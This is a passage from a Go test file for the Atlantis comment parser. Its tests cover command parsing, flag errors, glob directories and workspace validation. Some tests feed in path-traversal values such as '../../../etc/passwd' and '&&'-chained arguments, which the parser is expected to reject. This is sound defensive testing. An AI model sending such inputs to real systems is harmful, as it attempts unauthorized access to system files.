does.\",\n\t}\n\tfor _, c := range ignoreComments {\n\t\tr := commentParser.Parse(c, models.Github)\n\t\tAssert(t, r.Ignore, \"expected Ignore to be true for comment %q\", c)\n\t}\n}\n\nfunc TestParse_ExecutableName(t *testing.T) {\n\tcases := []struct {\n\t\tuser      string\n\t\texpIgnore bool\n\t}{\n\t\t{\"custom-executable-name\", false},\n\t\t{\"run\", false},\n\t\t{\"@github-user\", false},\n\t\t{\"github-user\", true},\n\t\t{\"atlantis\", true},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.user, func(t *testing.T) {\n\t\t\tvar commentParser = events.CommentParser{\n\t\t\t\tGithubUser:     \"github-user\",\n\t\t\t\tExecutableName: \"custom-executable-name\",\n\t\t\t}\n\t\t\tcomment := fmt.Sprintf(\"%s help\", c.user)\n\t\t\tr := commentParser.Parse(comment, models.Github)\n\t\t\tAssert(t, r.Ignore == c.expIgnore, \"expected Ignore %q, but got %q\", c.expIgnore, r.Ignore)\n\t\t})\n\t}\n}\n\nfunc TestParse_HelpResponse(t *testing.T) {\n\tallowCommandsCases := [][]command.Name{\n\t\tcommand.AllCommentCommands,\n\t\t{}, // empty case\n\t}\n\thelpComments := []string{\n\t\t\"run\",\n\t\t\"atlantis\",\n\t\t\"@github-user\",\n\t\t\"atlantis help\",\n\t\t\"atlantis --help\",\n\t\t\"atlantis -h\",\n\t\t\"atlantis help something else\",\n\t\t\"atlantis help plan\",\n\t}\n\tfor _, allowCommandCase := range allowCommandsCases {\n\t\tfor _, c := range helpComments {\n\t\t\tt.Run(fmt.Sprintf(\"%s with allow commands %v\", c, allowCommandCase), func(t *testing.T) {\n\t\t\t\tcommentParser := events.CommentParser{\n\t\t\t\t\tGithubUser:     \"github-user\",\n\t\t\t\t\tExecutableName: \"atlantis\",\n\t\t\t\t\tAllowCommands:  allowCommandCase,\n\t\t\t\t}\n\t\t\t\tr := commentParser.Parse(c, models.Github)\n\t\t\t\tEquals(t, commentParser.HelpComment(), r.CommentResponse)\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestParse_TrimCommandString(t *testing.T) {\n\tt.Log(\"commands should be trimmed of whitespace and backtick (helps with Gitlab copy/paste issues)\")\n\tallowCommandsCases := [][]command.Name{\n\t\tcommand.AllCommentCommands,\n\t\t{}, // empty case\n\t}\n\thelpComments := []string{\n\t\t\"`atlantis help`\",\n\t\t\"`  atlantis help  `\",\n\t\t\"`atlantis help`  \",\n\t\t\"  `atlantis help\",\n\t}\n\tfor _, allowCommandCase := range allowCommandsCases {\n\t\tfor _, c := range helpComments {\n\t\t\tt.Run(fmt.Sprintf(\"%s with allow commands %v\", c, allowCommandCase), func(t *testing.T) {\n\t\t\t\tcommentParser := events.CommentParser{\n\t\t\t\t\tGithubUser:     \"github-user\",\n\t\t\t\t\tExecutableName: \"atlantis\",\n\t\t\t\t\tAllowCommands:  allowCommandCase,\n\t\t\t\t}\n\t\t\t\tr := commentParser.Parse(c, models.Github)\n\t\t\t\tEquals(t, commentParser.HelpComment(), r.CommentResponse)\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestParse_UnusedArguments(t *testing.T) {\n\tt.Log(\"if there are unused flags we return an error\")\n\tcases := []struct {\n\t\tCommand command.Name\n\t\tArgs    string\n\t\tUnused  string\n\t}{\n\t\t{\n\t\t\tcommand.Plan,\n\t\t\t\"-d . arg\",\n\t\t\t\"arg\",\n\t\t},\n\t\t{\n\t\t\tcommand.Plan,\n\t\t\t\"arg -d .\",\n\t\t\t\"arg\",\n\t\t},\n\t\t{\n\t\t\tcommand.Plan,\n\t\t\t\"arg\",\n\t\t\t\"arg\",\n\t\t},\n\t\t{\n\t\t\tcommand.Plan,\n\t\t\t\"arg arg2\",\n\t\t\t\"arg arg2\",\n\t\t},\n\t\t{\n\t\t\tcommand.Plan,\n\t\t\t\"-d . arg -w kjj arg2\",\n\t\t\t\"arg arg2\",\n\t\t},\n\t\t{\n\t\t\tcommand.Apply,\n\t\t\t\"-d . arg\",\n\t\t\t\"arg\",\n\t\t},\n\t\t{\n\t\t\tcommand.Apply,\n\t\t\t\"arg arg2\",\n\t\t\t\"arg arg2\",\n\t\t},\n\t\t{\n\t\t\tcommand.Apply,\n\t\t\t\"arg arg2 -- useful\",\n\t\t\t\"arg arg2\",\n\t\t},\n\t\t{\n\t\t\tcommand.Apply,\n\t\t\t\"arg arg2 --\",\n\t\t\t\"arg arg2\",\n\t\t},\n\t\t{\n\t\t\tcommand.ApprovePolicies,\n\t\t\t\"arg arg2 arg3 --\",\n\t\t\t\"arg arg2 arg3\",\n\t\t},\n\t\t{\n\t\t\tcommand.Import,\n\t\t\t\"arg --\",\n\t\t\t\"arg\",\n\t\t},\n\t\t{\n\t\t\tcommand.Import,\n\t\t\t\"arg1 arg2 arg3 --\",\n\t\t\t\"arg1 arg2 arg3\",\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tcomment := fmt.Sprintf(\"atlantis %s %s\", c.Command.String(), c.Args)\n\t\tt.Run(comment, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(comment, models.Github)\n\t\t\tvar usage string\n\t\t\tswitch c.Command {\n\t\t\tcase command.Plan:\n\t\t\t\tusage = PlanUsage\n\t\t\tcase command.Apply:\n\t\t\t\tusage = ApplyUsage\n\t\t\tcase command.ApprovePolicies:\n\t\t\t\tusage = ApprovePolicyUsage\n\t\t\tcase command.Import:\n\t\t\t\tusage = ImportUsage\n\t\t\t}\n\t\t\tEquals(t, fmt.Sprintf(\"```\\nError: unknown argument(s) – %s.\\n%s```\", c.Unused, usage), r.CommentResponse)\n\t\t})\n\t}\n}\n\nfunc TestParse_UnknownShorthandFlag(t *testing.T) {\n\tcomment := \"atlantis unlock -d .\"\n\tr := commentParser.Parse(comment, models.Github)\n\n\tEquals(t, UnlockUsage, r.CommentResponse)\n}\n\nfunc TestParse_DidYouMeanAtlantis(t *testing.T) {\n\tt.Log(\"given a comment that should result in a 'did you mean atlantis'\" +\n\t\t\"response, should set CommentParseResult.CommentResult\")\n\tcomments := []string{\n\t\t\"terraform\",\n\t\t\"terraform help\",\n\t\t\"terraform --help\",\n\t\t\"terraform -h\",\n\t\t\"terraform plan\",\n\t\t\"terraform apply\",\n\t\t\"terraform plan -w workspace -d . -- test\",\n\t}\n\tfor _, c := range comments {\n\t\tr := commentParser.Parse(c, models.Github)\n\t\tAssert(t, r.CommentResponse == fmt.Sprintf(events.DidYouMeanAtlantisComment, \"atlantis\", \"terraform\"),\n\t\t\t\"For comment %q expected CommentResponse==%q but got %q\", c, events.DidYouMeanAtlantisComment, r.CommentResponse)\n\t}\n}\n\nfunc TestParse_InvalidCommand(t *testing.T) {\n\tt.Log(\"given a comment with an invalid atlantis command, should return \" +\n\t\t\"a warning.\")\n\tcomments := []string{\n\t\t\"atlantis paln\",\n\t\t\"atlantis appely apply\",\n\t}\n\tcp := events.NewCommentParser(\n\t\t\"github-user\",\n\t\t\"gitlab-user\",\n\t\t\"gitea-user\",\n\t\t\"bitbucket-user\",\n\t\t\"azure-devops-user\",\n\t\t\"atlantis\",\n\t\t[]command.Name{\n\t\t\tcommand.Version,\n\t\t\tcommand.Unlock,\n\t\t\tcommand.Apply,\n\t\t\tcommand.Plan,\n\t\t\tcommand.Apply, // duplicate command is filtered\n\t\t},\n\t)\n\tfor _, c := range comments {\n\t\tr := cp.Parse(c, models.Github)\n\t\texp := fmt.Sprintf(\"```\\nError: unknown command %q.\\nRun 'atlantis --help' for usage.\\nAvailable commands(--allow-commands): version, plan, apply, unlock\\n```\", strings.Fields(c)[1])\n\t\tEquals(t, exp, r.CommentResponse)\n\t}\n}\n\nfunc TestParse_SubcommandUsage(t *testing.T) {\n\tt.Log(\"given a comment asking for the usage of a subcommand should \" +\n\t\t\"return help\")\n\ttests := []struct {\n\t\tinput    string\n\t\texpUsage string\n\t}{\n\t\t{\"atlantis plan -h\", \"plan\"},\n\t\t{\"atlantis plan --help\", \"plan\"},\n\t\t{\"atlantis apply -h\", \"apply\"},\n\t\t{\"atlantis apply --help\", \"apply\"},\n\t\t{\"atlantis approve_policies -h\", \"approve_policies\"},\n\t\t{\"atlantis approve_policies --help\", \"approve_policies\"},\n\t\t{\"atlantis import -h\", \"import ADDRESS ID\"},\n\t\t{\"atlantis import --help\", \"import ADDRESS ID\"},\n\t\t{\"atlantis state -h\", \"state [rm ADDRESS...]\"},\n\t\t{\"atlantis state --help\", \"state [rm ADDRESS...]\"},\n\t}\n\tfor _, c := range tests {\n\t\tr := commentParser.Parse(c.input, models.Github)\n\t\texp := \"Usage of \" + c.expUsage\n\t\tAssert(t, strings.Contains(r.CommentResponse, exp),\n\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t\tAssert(t, !strings.Contains(r.CommentResponse, \"Error:\"),\n\t\t\t\"For comment %q expected CommentResponse %q to not contain %q\", c, r.CommentResponse, \"Error: \")\n\t}\n}\n\nfunc TestParse_InvalidFlags(t *testing.T) {\n\tt.Log(\"given a comment with a valid atlantis command but invalid\" +\n\t\t\" flags, should return a warning and the proper usage\")\n\tcases := []struct {\n\t\tcomment string\n\t\texp     string\n\t}{\n\t\t{\n\t\t\t\"atlantis plan -e\",\n\t\t\t\"Error: unknown shorthand flag: 'e' in -e\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis plan --abc\",\n\t\t\t\"Error: unknown flag: --abc\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis apply -e\",\n\t\t\t\"Error: unknown shorthand flag: 'e' in -e\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis apply --abc\",\n\t\t\t\"Error: unknown flag: --abc\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis import --abc\",\n\t\t\t\"Error: unknown flag: --abc\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis state rm --abc\",\n\t\t\t\"Error: unknown flag: --abc\",\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tr := commentParser.Parse(c.comment, models.Github)\n\t\tAssert(t, strings.Contains(r.CommentResponse, c.exp),\n\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c.comment, r.CommentResponse, c.exp)\n\t\tAssert(t, strings.Contains(r.CommentResponse, \"Usage of \"),\n\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c.comment, r.CommentResponse, \"Usage of \")\n\t}\n}\n\nfunc TestParse_RelativeDirPath(t *testing.T) {\n\tt.Log(\"if -d is used with a relative path, should return an error\")\n\tcomments := []string{\n\t\t\"atlantis plan -d ..\",\n\t\t\"atlantis apply -d ..\",\n\t\t\"atlantis import -d .. address id\",\n\t\t\"atlantis state -d .. rm address\",\n\t\t// These won't return an error because we prepend with . when parsing.\n\t\t//\"atlantis plan -d /..\",\n\t\t//\"atlantis apply -d /..\",\n\t\t//\"atlantis import -d /.. address id\",\n\t\t//\"atlantis state rm -d /.. address\",\n\t\t\"atlantis plan -d ./..\",\n\t\t\"atlantis apply -d ./..\",\n\t\t\"atlantis import -d ./.. address id\",\n\t\t\"atlantis state -d ./.. rm address\",\n\t\t\"atlantis plan -d a/b/../../..\",\n\t\t\"atlantis apply -d a/../..\",\n\t\t\"atlantis import -d a/../.. address id\",\n\t\t\"atlantis state -d a/../.. rm address id\",\n\t}\n\tfor _, c := range comments {\n\t\tr := commentParser.Parse(c, models.Github)\n\t\texp := \"Error: using a relative path\"\n\t\tAssert(t, strings.Contains(r.CommentResponse, exp),\n\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t}\n}\n\nfunc TestParse_GlobPatternDir(t *testing.T) {\n\tt.Log(\"if -d is used with a glob pattern, it should be preserved correctly\")\n\tcases := []struct {\n\t\tcomment     string\n\t\texpectedDir string\n\t}{\n\t\t{\"atlantis plan -d modules/*\", \"modules/*\"},\n\t\t{\"atlantis plan -d modules/**\", \"modules/**\"},\n\t\t{\"atlantis plan -d environments/*/apps\", \"environments/*/apps\"},\n\t\t{\"atlantis plan -d 'env[0-9]/*'\", \"env[0-9]/*\"},\n\t\t{\"atlantis plan -d stacks/prod-?-*\", \"stacks/prod-?-*\"},\n\t\t{\"atlantis apply -d modules/**\", \"modules/**\"},\n\t\t{\"atlantis import -d modules/* address id\", \"modules/*\"},\n\t\t{\"atlantis state -d modules/* rm address\", \"modules/*\"},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.comment, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(c.comment, models.Github)\n\t\t\tassert.Empty(t, r.CommentResponse, \"Expected no error for comment %q\", c.comment)\n\t\t\tassert.NotNil(t, r.Command, \"Expected command to be parsed for comment %q\", c.comment)\n\t\t\tassert.Equal(t, c.expectedDir, r.Command.RepoRelDir, \"Expected dir %q but got %q for comment %q\", c.expectedDir, r.Command.RepoRelDir, c.comment)\n\t\t})\n\t}\n}\n\nfunc TestParse_GlobPatternDirWithRelativePath(t *testing.T) {\n\tt.Log(\"if -d is used with a glob pattern containing '..', should return an error\")\n\tcomments := []string{\n\t\t\"atlantis plan -d '../*'\",\n\t\t\"atlantis plan -d 'modules/../*'\",\n\t\t\"atlantis plan -d '../**'\",\n\t\t\"atlantis apply -d '../apps/*'\",\n\t\t\"atlantis import -d '../*' address id\",\n\t\t\"atlantis state -d '../*' rm address\",\n\t}\n\tfor _, c := range comments {\n\t\tt.Run(c, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(c, models.Github)\n\t\t\texp := \"using '..' in glob pattern\"\n\t\t\tassert.Contains(t, r.CommentResponse, exp,\n\t\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t\t})\n\t}\n}\n\nfunc TestParse_InvalidGlobPattern(t *testing.T) {\n\tt.Log(\"if -d is used with an invalid glob pattern, should return an error\")\n\tcomments := []string{\n\t\t\"atlantis plan -d 'modules/[invalid'\",\n\t\t\"atlantis apply -d 'apps/[unclosed'\",\n\t}\n\tfor _, c := range comments {\n\t\tt.Run(c, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(c, models.Github)\n\t\t\texp := \"invalid glob pattern\"\n\t\t\tassert.Contains(t, r.CommentResponse, exp,\n\t\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t\t})\n\t}\n}\n\nfunc TestParse_ValidCommand(t *testing.T) {\n\tcomments := []string{\n\t\t\"atlantis plan\\n\",\n\t\t\"atlantis plan\\n\\n\",\n\t\t\"atlantis plan\\r\\n\",\n\t\t\"atlantis plan\\r\\n\\r\\n\",\n\t\t\"\\natlantis plan\",\n\t\t\"\\r\\natlantis plan\",\n\t\t\"\\natlantis plan\\n\",\n\t\t\"\\r\\natlantis plan\\r\\n\",\n\t\t\"atlantis plan\",\n\t\t\"Atlantis plan\",\n\t\t\"Atlantis Plan\",\n\t\t\"ATLANTIS PLAN\",\n\t}\n\tfor _, comment := range comments {\n\t\tt.Run(comment, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(comment, models.Github)\n\t\t\tEquals(t, \"\", r.CommentResponse)\n\t\t\tEquals(t, &events.CommentCommand{\n\t\t\t\tRepoRelDir:  \"\",\n\t\t\t\tFlags:       nil,\n\t\t\t\tName:        command.Plan,\n\t\t\t\tVerbose:     false,\n\t\t\t\tWorkspace:   \"\",\n\t\t\t\tProjectName: \"\",\n\t\t\t}, r.Command)\n\t\t})\n\t}\n}\n\nfunc TestParse_InvalidWorkspace(t *testing.T) {\n\tt.Log(\"if -w is used with '..' or '/', should return an error\")\n\tcomments := []string{\n\t\t\"atlantis plan -w ..\",\n\t\t\"atlantis apply -w ..\",\n\t\t\"atlantis import -w .. address id\",\n\t\t\"atlantis import -w .. rm address\",\n\t\t\"atlantis plan -w /\",\n\t\t\"atlantis apply -w /\",\n\t\t\"atlantis import -w / address id\",\n\t\t\"atlantis state -w / rm address\",\n\t\t\"atlantis plan -w ..abc\",\n\t\t\"atlantis apply -w abc..\",\n\t\t\"atlantis import -w abc.. address id\",\n\t\t\"atlantis state -w abc.. rm address\",\n\t\t\"atlantis plan -w abc..abc\",\n\t\t\"atlantis apply -w ../../../etc/passwd\",\n\t\t\"atlantis import -w ../../../etc/passwd address id\",\n\t\t\"atlantis state -w ../../../etc/passwd rm address\",\n\t}\n\tfor _, c := range comments {\n\t\tr := commentParser.Parse(c, models.Github)\n\t\texp := \"Error: invalid workspace\"\n\t\tAssert(t, strings.Contains(r.CommentResponse, exp),\n\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t}\n}\n\nfunc TestParse_UsingProjectAtSameTimeAsWorkspaceOrDir(t *testing.T) {\n\tcases := []string{\n\t\t\"atlantis plan -w workspace -p project\",\n\t\t\"atlantis plan -d dir -p project\",\n\t\t\"atlantis plan -d dir -w workspace -p project\",\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c, func(t *testing.T) {\n\t\t\tr := commentParser.Parse(c, models.Github)\n\t\t\texp := \"Error: cannot use -p/--project at same time as -d/--dir or -w/--workspace\"\n\t\t\tAssert(t, strings.Contains(r.CommentResponse, exp),\n\t\t\t\t\"For comment %q expected CommentResponse %q to contain %q\", c, r.CommentResponse, exp)\n\t\t})\n\t}\n}\n\nfunc TestParse_Parsing(t *testing.T) {\n\tcases := []struct {\n\t\tflags        string\n\t\texpWorkspace string\n\t\texpDir       string\n\t\texpVerbose   bool\n\t\texpExtraArgs string\n\t\texpProject   string\n\t}{\n\t\t// Test defaults.\n\t\t{\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t// Test each short flag individually.\n\t\t{\n\t\t\t\"-w workspace\",\n\t\t\t\"workspace\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d dir\",\n\t\t\t\"\",\n\t\t\t\"dir\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-p project\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"project\",\n\t\t},\n\t\t{\n\t\t\t\"--verbose\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t// Test each long flag individually.\n\t\t{\n\t\t\t\"--workspace workspace\",\n\t\t\t\"workspace\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"--dir dir\",\n\t\t\t\"\",\n\t\t\t\"dir\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"--project project\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"project\",\n\t\t},\n\t\t// Test all of them with different permutations.\n\t\t{\n\t\t\t\"-w workspace -d dir --verbose\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d dir -w workspace --verbose\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"--verbose -w workspace -d dir\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-p project --verbose\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"project\",\n\t\t},\n\t\t{\n\t\t\t\"--verbose -p project\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\ttrue,\n\t\t\t\"\",\n\t\t\t\"project\",\n\t\t},\n\t\t// Test that flags after -- are ignored\n\t\t{\n\t\t\t\"-w workspace -d dir -- --verbose\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\tfalse,\n\t\t\t\"--verbose\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-w workspace -- -d dir --verbose\",\n\t\t\t\"workspace\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"-d dir --verbose\",\n\t\t\t\"\",\n\t\t},\n\t\t// Test the extra args parsing.\n\t\t{\n\t\t\t\"--\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-w workspace -d dir --verbose -- arg one -two --three &&\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"arg one -two --three &&\",\n\t\t\t\"\",\n\t\t},\n\t\t// Test whitespace.\n\t\t{\n\t\t\t\"\\t-w\\tworkspace\\t-d\\tdir\\t--verbose\\t--\\targ\\tone\\t-two\\t--three\\t&&\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"arg one -two --three &&\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"   -w   workspace   -d   dir   --verbose   --   arg   one   -two   --three   &&\",\n\t\t\t\"workspace\",\n\t\t\t\"dir\",\n\t\t\ttrue,\n\t\t\t\"arg one -two --three &&\",\n\t\t\t\"\",\n\t\t},\n\t\t// Test that the dir string is normalized.\n\t\t{\n\t\t\t\"-d /\",\n\t\t\t\"\",\n\t\t\t\".\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d /adir\",\n\t\t\t\"\",\n\t\t\t\"adir\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d .\",\n\t\t\t\"\",\n\t\t\t\".\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d ./\",\n\t\t\t\"\",\n\t\t\t\".\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d ./adir\",\n\t\t\t\"\",\n\t\t\t\"adir\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"-d \\\"dir with space\\\"\",\n\t\t\t\"\",\n\t\t\t\"dir with space\",\n\t\t\tfalse,\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t}\n\n\tfor _, test := range cases {\n\t\tfor _, cmdName := range []string{\"plan\", \"apply\", \"import 'some[\\\"addr\\\"]' id\", \"state rm 'some[\\\"addr\\\"]'\"} {\n\t\t\tcomment := fmt.Sprintf(\"atlantis %s %s\", cmdName, test.flags)\n\t\t\tt.Run(comment, func(t *testing.T) {\n\t\t\t\tr := commentParser.Parse(comment, models.Github)\n\t\t\t\tAssert(t, r.CommentResponse == \"\", \"CommentResponse should have been empty but was %q for comment %q\", r.CommentResponse, comment)\n\t\t\t\tAssert(t, test.expDir == r.Command.RepoRelDir, \"exp dir to equal %q but was %q for comment %q\", test.expDir, r.Command.RepoRelDir, comment)\n\t\t\t\tAssert(t, test.expWorkspace == r.Command.Workspace, \"exp workspace to equal %q but was %q for comment %q\", test.expWorkspace, r.Command.Workspace, comment)\n\t\t\t\tAssert(t, test.expVerbose == r.Command.Verbose, \"exp verbose to equal %v but was %v for comment %q\", test.expVerbose, r.Command.Verbose, comment)\n\t\t\t\tactExtraArgs := strings.Join(r.Command.Flags, \" \")\n\t\t\t\tif cmdName == \"plan\" {\n\t\t\t\t\tAssert(t, r.Command.Name == command.Plan, \"did not parse comment %q as plan command\", comment)\n\t\t\t\t\tAssert(t, test.expExtraArgs == actExtraArgs, \"exp extra args to equal %v but got %v for comment %q\", test.expExtraArgs, actExtraArgs, comment)\n\t\t\t\t}\n\t\t\t\tif cmdName == \"apply\" {\n\t\t\t\t\tAssert(t, r.Command.Name == command.Apply, \"did not parse comment %q as apply command\", comment)\n\t\t\t\t\tAssert(t, test.expExtraArgs == actExtraArgs, \"exp extra args to equal %v but got %v for comment %q\", test.expExtraArgs, actExtraArgs, comment)\n\t\t\t\t}\n\t\t\t\tif cmdName == \"approve_policies\" {\n\t\t\t\t\tAssert(t, r.Command.Name == command.ApprovePolicies, \"did not parse comment %q as approve_policies command\", comment)\n\t\t\t\t\tAssert(t, test.expExtraArgs == actExtraArgs, \"exp extra args to equal %v but got %v for comment %q\", test.expExtraArgs, actExtraArgs, comment)\n\t\t\t\t}\n\t\t\t\tif strings.HasPrefix(cmdName, \"import\") {\n\t\t\t\t\texpExtraArgs := \"some[\\\"addr\\\"] id\" // import use default args with `some[\"addr\"] id`\n\t\t\t\t\tif test.expExtraArgs != \"\" {\n\t\t\t\t\t\texpExtraArgs = fmt.Sprintf(\"%s %s\", test.expExtraArgs, expExtraArgs)\n\t\t\t\t\t}\n\t\t\t\t\tAssert(t, r.Command.Name == command.Import, \"did not parse comment %q as import command\", comment)\n\t\t\t\t\tAssert(t, expExtraArgs == actExtraArgs, \"exp extra args to equal %v but got %v for comment %q\", expExtraArgs, actExtraArgs, comment)\n\t\t\t\t}\n\t\t\t\tif strings.HasPrefix(cmdName, \"state rm\") {\n\t\t\t\t\texpExtraArgs := \"some[\\\"addr\\\"]\" // state rm use default args with `some[\"addr\"]`\n\t\t\t\t\tif test.expExtraArgs != \"\" {\n\t\t\t\t\t\texpExtraArgs = fmt.Sprintf(\"%s %s\", test.expExtraArgs, expExtraArgs)\n\t\t\t\t\t}\n\t\t\t\t\tAssert(t, r.Command.Name == command.State, \"did not parse comment %q as state command\", comment)\n\t\t\t\t\tAssert(t, r.Command.SubName == \"rm\", \"did not parse comment %q as state rm subcommand\", comment)\n\t\t\t\t\tAssert(t, expExtraArgs == actExtraArgs, \"exp extra args to equal %v but got %v for comment %q\", expExtraArgs, actExtraArgs, comment)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t}\n}\n\nfunc TestBuildPlanApplyVersionComment(t *testing.T) {\n\tcases := []struct {\n\t\trepoRelDir        string\n\t\tworkspace         string\n\t\tproject           string\n\t\tautoMergeDisabled bool\n\t\tautoMergeMethod   string\n\t\tcommentArgs       []string\n\t\texpPlanFlags      string\n\t\texpApplyFlags     string\n\t\texpVersionFlags   string\n\t}{\n\t\t{\n\t\t\trepoRelDir:      \".\",\n\t\t\tworkspace:       \"default\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-d .\",\n\t\t\texpApplyFlags:   \"-d .\",\n\t\t\texpVersionFlags: \"-d .\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir\",\n\t\t\tworkspace:       \"default\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-d dir\",\n\t\t\texpApplyFlags:   \"-d dir\",\n\t\t\texpVersionFlags: \"-d dir\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \".\",\n\t\t\tworkspace:       \"workspace\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-w workspace\",\n\t\t\texpApplyFlags:   \"-w workspace\",\n\t\t\texpVersionFlags: \"-w workspace\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir\",\n\t\t\tworkspace:       \"workspace\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-d dir -w workspace\",\n\t\t\texpApplyFlags:   \"-d dir -w workspace\",\n\t\t\texpVersionFlags: \"-d dir -w workspace\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \".\",\n\t\t\tworkspace:       \"default\",\n\t\t\tproject:         \"project\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-p project\",\n\t\t\texpApplyFlags:   \"-p project\",\n\t\t\texpVersionFlags: \"-p project\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir\",\n\t\t\tworkspace:       \"workspace\",\n\t\t\tproject:         \"project\",\n\t\t\tcommentArgs:     nil,\n\t\t\texpPlanFlags:    \"-p project\",\n\t\t\texpApplyFlags:   \"-p project\",\n\t\t\texpVersionFlags: \"-p project\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \".\",\n\t\t\tworkspace:       \"default\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     []string{`\"arg1\"`, `\"arg2\"`},\n\t\t\texpPlanFlags:    \"-d . -- arg1 arg2\",\n\t\t\texpApplyFlags:   \"-d .\",\n\t\t\texpVersionFlags: \"-d .\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir\",\n\t\t\tworkspace:       \"workspace\",\n\t\t\tproject:         \"\",\n\t\t\tcommentArgs:     []string{`\"arg1\"`, `\"arg2\"`, `arg3`},\n\t\t\texpPlanFlags:    \"-d dir -w workspace -- arg1 arg2 arg3\",\n\t\t\texpApplyFlags:   \"-d dir -w workspace\",\n\t\t\texpVersionFlags: \"-d dir -w workspace\",\n\t\t},\n\t\t{\n\t\t\trepoRelDir:      \"dir with spaces\",\n\t\t\tworkspace:       \"default\",\n\t\t\tproject:         \"\",\n\t\t\texpPlanFlags:    \"-d \\\"dir with spaces\\\"\",\n\t\t\texpApplyFlags:   \"-d \\\"dir with spaces\\\"\",\n\t\t\texpVersionFlags: \"-d \\\"dir with 